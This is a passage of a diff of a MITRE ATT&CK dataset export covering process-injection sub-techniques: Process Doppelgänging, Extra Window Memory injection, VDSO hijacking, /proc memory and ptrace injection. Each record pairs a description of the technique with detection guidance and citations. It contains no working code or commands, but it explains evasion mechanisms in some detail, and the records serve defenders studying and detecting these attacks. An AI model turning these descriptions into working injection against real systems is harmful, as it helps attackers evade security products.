Doppelgänging Dec 2017', description='Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.', url='https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf'), ExternalReference(source_name='hasherezade Process Doppelgänging Dec 2017', description='hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.', url='https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/'), ExternalReference(source_name='Microsoft PsSetCreateProcessNotifyRoutine routine', description='Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.', url='https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx')]",attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-02-09 15:43:48.848000+00:00,Process Doppelgänging,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'File: File Metadata']","['Anti-virus', 'Application control']",,,,"Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) +This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/013', 'external_id': 'T1055.013'}, {'source_name': 'Microsoft TxF', 'description': 'Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx'}, {'source_name': 'Microsoft Basic TxF Concepts', 'description': 'Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx'}, {'source_name': 'Microsoft Where to use TxF', 'description': 'Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx'}, {'source_name': 'BlackHat Process Doppelgänging Dec 2017', 'description': 'Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.', 'url': 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf'}, {'source_name': 'hasherezade Process Doppelgänging Dec 2017', 'description': 'hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.', 'url': 'https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/'}, {'source_name': 'Microsoft PsSetCreateProcessNotifyRoutine routine', 'description': 'Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'File: File Metadata']","['Anti-virus', 'Application control']","Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",,,,,True,,,"['Administrator', 'SYSTEM', 'User']",['Windows'],,,,1.0 -2020-01-14 17:18:32.126000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",True,"['Administrator', 'SYSTEM', 'User']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T17:18:32.126Z,2020-11-10T18:29:31.004Z,Extra Window Memory Injection,"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function) @@ -2389,145 +2616,148 @@ Although small, the EWM is large enough to store a 32-bit pointer and is often u Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/011', external_id='T1055.011'), ExternalReference(source_name='Microsoft Window Classes', description='Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx'), ExternalReference(source_name='Microsoft GetWindowLong function', description='Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx'), ExternalReference(source_name='Microsoft SetWindowLong function', description='Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx'), ExternalReference(source_name='Elastic Process Injection July 2017', description='Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', url='https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'), ExternalReference(source_name='MalwareTech Power Loader Aug 2013', description='MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.', url='https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html'), ExternalReference(source_name='WeLiveSecurity Gapz and Redyms Mar 2013', description='Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.', url='https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/'), ExternalReference(source_name='Microsoft SendNotifyMessage function', description='Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx')]",attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-11-10 18:29:31.004000+00:00,Extra Window Memory Injection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Process: OS API Execution'],"['Anti-virus', 'Application control']",,,,Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017),,,,,True,,,,['Windows'],,,,1.0 -2020-01-14 01:35:00.781000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/011', 'external_id': 'T1055.011'}, {'source_name': 'Microsoft Window Classes', 'description': 'Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx'}, {'source_name': 'Microsoft GetWindowLong function', 'description': 'Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx'}, {'source_name': 'Microsoft SetWindowLong function', 'description': 'Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'MalwareTech Power Loader Aug 2013', 'description': 'MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.', 'url': 'https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html'}, {'source_name': 'WeLiveSecurity Gapz and Redyms Mar 2013', 'description': 'Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.', 'url': 'https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/'}, {'source_name': 'Microsoft SendNotifyMessage function', 'description': 'Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Process: OS API Execution'],"['Anti-virus', 'Application control']",Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017),True,,['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:35:00.781Z,2020-06-20T22:28:45.232Z,VDSO Hijacking,"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/014', external_id='T1055.014'), ExternalReference(source_name='ELF Injection May 2009', description=""O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."", url='https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html'), ExternalReference(source_name='Backtrace VDSO', description='backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020.', url='https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/'), ExternalReference(source_name='VDSO Aug 2005', description='Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.', url='https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/'), ExternalReference(source_name='Syscall 2014', description='Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.', url='https://lwn.net/Articles/604515/'), ExternalReference(source_name='ArtOfMemoryForensics', description='Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'), ExternalReference(source_name='GNU Acct', description='GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', url='https://www.gnu.org/software/acct/'), ExternalReference(source_name='RHEL auditd', description='Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', url='https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'), ExternalReference(source_name='Chokepoint preload rootkits', description='stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', url='http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html')]",attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-06-20 22:28:45.232000+00:00,VDSO Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Module: Module Load']","['Anti-virus', 'Application control']",,,,"Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/014', 'external_id': 'T1055.014'}, {'source_name': 'ELF Injection May 2009', 'description': ""O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."", 'url': 'https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html'}, {'source_name': 'Backtrace VDSO', 'description': 'backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020.', 'url': 'https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/'}, {'source_name': 'VDSO Aug 2005', 'description': 'Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.', 'url': 'https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/'}, {'source_name': 'Syscall 2014', 'description': 'Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.', 'url': 'https://lwn.net/Articles/604515/'}, {'source_name': 'ArtOfMemoryForensics', 'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'}, {'source_name': 'GNU Acct', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'url': 'https://www.gnu.org/software/acct/'}, {'source_name': 'RHEL auditd', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'}, {'source_name': 'Chokepoint preload rootkits', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Module: Module Load']","['Anti-virus', 'Application control']","Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,,['Linux'],,,,1.0 -2020-01-14 01:34:10.588000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Linux'],1.0,,,,,,, +attack-pattern,attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:34:10.588Z,2020-06-20T22:25:55.331Z,Proc Memory,"Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/009', external_id='T1055.009'), ExternalReference(source_name='Uninformed Needle', description='skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', url='http://hick.org/code/skape/papers/needle.txt'), ExternalReference(source_name='GDS Linux Injection', description='McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.', url='https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html'), ExternalReference(source_name='DD Man', description='Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.', url='http://man7.org/linux/man-pages/man1/dd.1.html')]",attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-06-20 22:25:55.331000+00:00,Proc Memory,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],"['Application control', 'Anti-virus']",,,,"File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/009', 'external_id': 'T1055.009'}, {'source_name': 'Uninformed Needle', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'url': 'http://hick.org/code/skape/papers/needle.txt'}, {'source_name': 'GDS Linux Injection', 'description': 'McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.', 'url': 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html'}, {'source_name': 'DD Man', 'description': 'Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.', 'url': 'http://man7.org/linux/man-pages/man1/dd.1.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],"['Application control', 'Anti-virus']","File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,,['Linux'],,,,1.0 -2020-01-14 01:33:19.065000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Linux'],1.0,,,,,,, +attack-pattern,attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:33:19.065Z,2021-10-18T12:26:31.766Z,Ptrace System Calls,"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) -Ptrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject) +Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1055/008', external_id='T1055.008'), ExternalReference(source_name='PTRACE man', description=""Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."", url='http://man7.org/linux/man-pages/man2/ptrace.2.html'), ExternalReference(source_name='Medium Ptrace JUL 2018', description='Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.', url='https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be'), ExternalReference(source_name='BH Linux Inject', description='Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.', url='https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf'), ExternalReference(source_name='ArtOfMemoryForensics', description='Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'), ExternalReference(source_name='GNU Acct', description='GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', url='https://www.gnu.org/software/acct/'), ExternalReference(source_name='RHEL auditd', description='Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', url='https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'), ExternalReference(source_name='Chokepoint preload rootkits', description='stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', url='http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html')]",attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-06-20 22:24:56.734000+00:00,Ptrace System Calls,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']",,,,"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/008', 'external_id': 'T1055.008'}, {'source_name': 'PTRACE man', 'description': ""Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."", 'url': 'http://man7.org/linux/man-pages/man2/ptrace.2.html'}, {'source_name': 'Medium Ptrace JUL 2018', 'description': 'Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.', 'url': 'https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be'}, {'source_name': 'BH Linux Inject', 'description': 'Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.', 'url': 'https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf'}, {'source_name': 'ArtOfMemoryForensics', 'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'}, {'source_name': 'GNU Acct', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'url': 'https://www.gnu.org/software/acct/'}, {'source_name': 'RHEL auditd', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'}, {'source_name': 'Chokepoint preload rootkits', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']","Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",,,,,True,,,,['Linux'],,,,1.0 -2020-01-14 01:30:41.092000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Linux'],1.1,,,,,,, +attack-pattern,attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:30:41.092Z,2021-10-18T12:24:54.198Z,Thread Local 